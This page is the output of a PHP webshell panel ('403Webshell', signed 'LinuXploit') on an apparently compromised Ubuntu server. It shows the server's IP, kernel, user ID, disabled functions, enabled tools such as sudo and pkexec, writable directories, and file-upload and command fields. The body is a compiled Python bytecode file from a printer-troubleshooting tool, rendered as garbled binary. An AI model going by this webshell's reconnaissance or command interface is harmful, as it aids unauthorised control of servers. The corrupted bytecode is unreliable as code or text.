403Webshell
Server IP : 209.205.66.10  /  Your IP : 216.73.216.173
Web Server : Apache/2.4.52 (Ubuntu)
System : Linux ammon 5.15.0-186-generic #196-Ubuntu SMP Sat Jun 20 16:09:34 UTC 2026 x86_64
User :  ( 1006)
PHP Version : 8.5.8
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /usr/share/system-config-printer/troubleshoot/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/share/system-config-printer/troubleshoot/__pycache__/PrintTestPage.cpython-310.pyc
o

3�b�P�@s�ddlZddlZddlZddlmZddlZddlmZddlmZddlmZddl	Z	ddl
Z
ddlmZm
Z
ddlTddlZddlTd	Zd
ZGdd�de�ZdS)
�N)�GLib)�Gdk)�Gtk)�Pango)�TimedOperation�OperationCanceled�)�*z/com/redhat/PrinterSpoolerzcom.redhat.PrinterSpoolerc@s�eZdZejed�ejed�ejed�ejed�ej	ed�ej
ed�ejed�iZdd	�Z
d
d�Zdd
�Zdd�Zdd�Zdd�Zdd�Zdd�Zdd�Zdd�Zdd�Zdd�Zd S)!�
PrintTestPage�Pending�Held�
Processing�Stopped�Canceled�Aborted�	CompletedcCs2t�||d�t��}|�d�|�d�t��}|�dd�|�d�|�	d�|�
|ddd�||_dtd�dtd	�|_
t��}|�d�|�d
�|�tjj�tj�td��|_|�
|jddd�tj�td��|_|�
|jddd�|�
|ddd�t��}t��}tjtd
�|dd�}tjtd�t��dd�}t��}	tjtd�|	dd�}
t��}tjtd�|d
d�}tjtd�t��dd�}
|�d�||_|
�d�|	�dtjj �|	�dd�|�d�|�dtjj �|�dd�|
�d�|�!|�|�!|�|�!|
�|�!|�|�!|
�|�"d�t�#�}|�$tj%j&tj%j&�|�'tj(j)�|�*|�||_+|�
|ddd�tjtd�d�}|�	d�|�dd�|�
|ddd�t��}|�d�tj,td�d�|_-tj,�.|j-td��}|�
|j-ddd�|�
|ddd�|�
|ddd�i|_/|�0||�dS)NzPrint test page�rTFz"<span weight="bold" size="larger">z	Test Pagez	</span>

z�Now print a test page.  If you are having problems printing a specific document, print that document now and mark the print job below.�zPrint Test PagezCancel All Jobs�Test)�active�Jobr)�text�Printer��Document�Status��	ellipsizezwidth-chars�z*Did the marked print jobs print correctly?)�label��Yes�No)1�Question�__init__r�VBox�set_spacing�set_border_width�Label�
set_alignment�set_use_markup�
set_line_wrap�
pack_start�
main_label�_�main_label_text�
HButtonBox�
set_layout�ButtonBoxStyle�START�Button�new_with_label�print_button�
cancel_button�TreeView�CellRendererToggle�TreeViewColumn�CellRendererText�	set_radio�	test_cell�
set_resizable�set_propertyr�
EllipsizeMode�END�
append_column�set_rules_hint�ScrolledWindow�
set_policy�
PolicyType�	AUTOMATIC�set_shadow_type�
ShadowType�IN�add�treeview�RadioButton�yes�new_with_label_from_widget�persistent_answers�new_page)�self�troubleshooter�pager�hbox�tvr=�test�job�printer_cell�printer�	name_cell�name�status�sw�vbox�no�ra�>/usr/share/system-config-printer/troubleshoot/PrintTestPage.pyr$3s�



���

�












zPrintTestPage.__init__cs��jj}d|vr
dS�j��}|d�_d}|�di�}|��D]}|��D]\}}|dkr2|}nq&q |durAdtd�|}nd}�j|}	�j	�
|	�t�t
tttt�}
�j�|
�i�_�j�d	g�}�fd
d�}t||d��_z	�j��\�}
Wn
ttjfy�YdSwzd
�jjd���fdd����D�}Wng}Ytt|��t|���}d}
|D]C}z�|}Wnty�z|
|}Wn
ty�YYq�wYnw|
�d�}|�j|<|
� |d||v�|
� |d|���!||�q�dS)N�
cups_queueF�_authenticated_connection�cups_printer_ppd_defaults�	MediaTypez

z;Remember to load paper of type '%s' into the printer first.��test_page_job_idcsj�j}zgd�}|jdd|d�}|jd|d�}W||fSty4|jddd�}|jdd�}Y||fSw)	N)zjob-id�job-name�	job-state�job-printer-uri�printer-namez
not-completedF)�
which_jobs�my_jobs�requested_attributes�	completed)rmro)rmrn�rm)�authconn�getJobs�	TypeError)�c�r�	jobs_dict�completed_jobs_dict�rRrarb�get_jobs�s$�����z'PrintTestPage.display.<locals>.get_jobs��parent�/cs"g|]
}�|d���r|�qS)rk)�endswith)�.0�x)rw�queue_uri_endingrarb�
<listcomp>�s

�z)PrintTestPage.display.<locals>.<listcomp>rrT)"rS�answers�
get_windowrr�get�values�itemsr.r/r-�
set_markupr�	ListStore�bool�int�strrL�	set_model�job_to_iterrPr�op�runr�cups�IPPError�keys�list�set�union�KeyError�append�	set_value�
update_job)rRr�r|�	mediatype�defaults�opts�opt�value�mediatype_string�
label_text�model�	test_jobsrzrx�jobs_on_this_printer�jobsrX�j�iterra)rwr�rRrb�display�sz

���
�����

zPrintTestPage.displayc	s��j�d�j��_�j�d�j��_�j�d�j��_	�fdd�}�j
��}t||d��_
z�j
���_WnttjfyAYnwzt��}Wnd}Y|�_|r]|j�jttd�t�d�j��_dS)N�clicked�toggledcs�j}|jdgd�d�}|S)Nr})�job-created�
job-completed�job-stoppedzjob-progresszjob-state-changed)�events)rr�createSubscription)ru�sub_idryrarb�create_subscription�s
�z:PrintTestPage.connect_signals.<locals>.create_subscriptionr{��path�dbus_interfacer)r6�connect�
print_clicked�print_sigidr7�cancel_clicked�cancel_sigidr=�test_toggled�
test_sigidrSr�rr�r�r�rr�r��dbus�	SystemBus�bus�add_signal_receiver�handle_dbus_signal�	DBUS_PATH�
DBUS_IFACEr�timeout_add_seconds�update_jobs_list�timer)rR�handlerr�r|r�raryrb�connect_signals�s8���

��zPrintTestPage.connect_signalsc	s��jr
�jj�jttd��j��j��j��j	��j
��j��fdd�}�j�
�}t|�jf|d��_z�j��WnttjfyJYnwz�`WnYt��j�dS)Nr�cs�j}|�|�dS�N)rr�cancelSubscription)r�ruryrarb�cancel_subscription
sz=PrintTestPage.disconnect_signals.<locals>.cancel_subscriptionr{)r��remove_signal_receiverr�r�r�r6�
disconnectr�r7r�r=r�rSr�rr�r�r�rr�r��sub_seqr�
source_remover�)rRr�r|raryrb�disconnect_signalss0
�
��z PrintTestPage.disconnect_signalsc	s��jsiS�j���_�j��}�j��}|�jd<Gdd�d�}�j�	�}||�j
}�fdd�}t||f|d��_z�j�
�}|�jd<W�jSttjfyVY�jSw)N�test_page_successfulc@seZdZdd�Zdd�ZdS)z2PrintTestPage.collect_answer.<locals>.collect_jobscSsg|_|�|jd�dSr�)r��foreach�each)rRr�rararbr$(sz;PrintTestPage.collect_answer.<locals>.collect_jobs.__init__c
Ss |j�|�|ddddd��dS)Nrrrrr)r�r�r�)rRr�r�r��	user_datarararbr�,s z7PrintTestPage.collect_answer.<locals>.collect_jobs.eachN)�__name__�
__module__�__qualname__r$r�rarararb�collect_jobs'sr�c
	s�d}�j}g}|D]6\}}}}}d}	|r4z|�|�}	Wnty3|dur,|jdd�}�j|}	Ynw|�||||||	f�q	|S)N�allrq)rr�getJobAttributes�AttributeErrorrs�	job_attrsr�)
r�r�ru�
with_attrsrW�jobidrZ�docr]�attrsryrarb�collect_attributes1s�z8PrintTestPage.collect_answer.<locals>.collect_attributesr{�test_page_job_status)�	displayedrP�copyr�rSr�rN�
get_activerL�	get_modelr�rr�r�rr�r�)rRr|�successr�r�r�r�r�raryrb�collect_answers,




�
��zPrintTestPage.collect_answercCs4|j��|jj}|d}|��|_|j|jd<dS)N�!_authenticated_connection_factoryrd)r��cancelrSr��get_connectionrr)rRr��factoryrararb�cancel_operationPs


zPrintTestPage.cancel_operationcGs(td�t�|j�t�d|j�|_dS)Nz,D-Bus signal caught: updating jobs list soon��)�
debugprintrr�r��timeout_addr�)rR�argsrararbr�Ysz PrintTestPage.handle_dbus_signalcCs�|j|}|j��}z|d}Wn(ty8z|d}|�d�}||dd�}Wnty5d}YnwYnw|durD|�|d|�|�|d|d�|�|d|j|d	�dS)
Nrlrkr}rrrrirrj)r�rLr�r��rfindr��STATE)rRr��job_dictr�r��printer_name�urirvrararbr�^s$


���zPrintTestPage.update_jobcst��}t�|�}t�d|�}||jd<|jj�|j��}�fdd�}d}ddg}|D]�}	zf|	durCt|�df|d�|_|j�	�}
n<|	dkrt
��\}}t�
|d�t�|�t|�df||	d	�|d
�|_|j�	�}
zt�|�Wn	ty|Ynwd}|j�dg�}|�|
�||jd<WdSty�d|jd
<YdSty�d|jd
<YdStj�y}
zD|
j\}
}|
tjkr�|�|	�t|�dkr�|dur�t�|�d}WYd}
~
q+|
|f|jd
<ttd�td�||j���WYd}
~
dSd}
~
wwdS)Nz%d/%b/%Y:%T %z�test_page_attemptedcs �d}|��}|j|i|��S)Nr�)r��
printTestPage)r��kwargsr�ru�r�rarb�print_test_pageysz4PrintTestPage.print_clicked.<locals>.print_test_pagez
text/plainrcr{sThis is a test page.
)�file�format)r�r|rhr��test_page_submit_failurer�rzError submitting test pagez3There was an error during the CUPS operation: '%s'.)�time�	localtime�strftimerPrSr�r�rr�r��tempfile�mkstemp�os�write�close�unlink�OSErrorr�r�r�RuntimeErrorr�r�r��IPP_DOCUMENT_FORMAT�index�len�show_error_dialogr.)rR�widget�now�tt�whenr|r��tmpfname�	mimetypes�mimetyper��tmpfdr��e�srar�rbr�qs�


�
��
�






�����zPrintTestPage.print_clickedc	s|d�jd<g}�j��D]	\}}|�|�q�fdd�}t||f�j��d��_z�j��WdSt	t
jfy=YdSw)NT�test_page_jobs_cancelledcsj�j}|D]-}z|�|�Wqtjy2}z|j\}}|tjkr(||f�jd<WYd}~qd}~wwdS)N�test_page_cancel_failure)rr�	cancelJobr�r�r��IPP_NOT_POSSIBLErP)�jobidsrur�rrryrarb�cancel_jobs�s

���z1PrintTestPage.cancel_clicked.<locals>.cancel_jobsr{)rPr�r�r�rrSr�r�r�rr�r�)rRr
rr�r�rraryrbr��s

��zPrintTestPage.cancel_clickedcCs4|j��}|�|�}|�|d�}|�|d|�dS)Nr)rLr��get_iter�	get_valuer�)rR�cellr�r�r�rrararbr��s

zPrintTestPage.test_toggledc	Cs�dd�}t��|j��}t||f|d�|_z|j��}Wnttj	fy.t�
�YdSw|jj}|j�
�}|d}|j�dg�}|dD]b}|d}	|	|_|d	}
|d
}|dkr�|
|vsf|d|kr|�d�}||j|
<|�|d
d�|�|d|
�nqG|
|jvr�qG|
|vr�|dvr�|j�dg�}
|
�|
|df�|
|jd<|�|
|�qGt�|j�t�|d|j�|_td|d�t�
�dS)NcSsH|j}z|�|jg|jdg�}W|Sty#|�|jg�}Y|Sw)Nr)rr�getNotificationsr�r�r�)rRru�
notificationsrararb�get_notifications�s

���z9PrintTestPage.update_jobs_list.<locals>.get_notificationsr{Trcrhr�znotify-sequence-numberz
notify-job-idznotify-subscribed-eventr�rlrr)r�r��test_page_completionsznotify-textznotify-get-intervalzUpdate again in %dsF)r�
threads_enterrSr�rr�r�rr�r��
threads_leaver�rLr�rPr�r�r�r�r�r�rr�r�r�r�r�)rRr"r|r!r�r��queuer��event�seqrX�nser��comprararbr��s`
��




��zPrintTestPage.update_jobs_listN)r�r�r�r��IPP_JOB_PENDINGr.�IPP_JOB_HELD�IPP_JOB_PROCESSING�IPP_JOB_STOPPED�IPP_JOB_CANCELED�IPP_JOB_ABORTED�IPP_JOB_COMPLETEDr�r$r�r�r�r�r�r�r�r�r�r�r�rarararbr
*s*






�MZ&2	Cr
)r�r��	dbus.glib�
gi.repositoryrrrrrrr��timedopsrr�base�errordialogsr�r�r#r
rarararb�<module>s"

Youez - 2016 - github.com/yon3zu
LinuXploit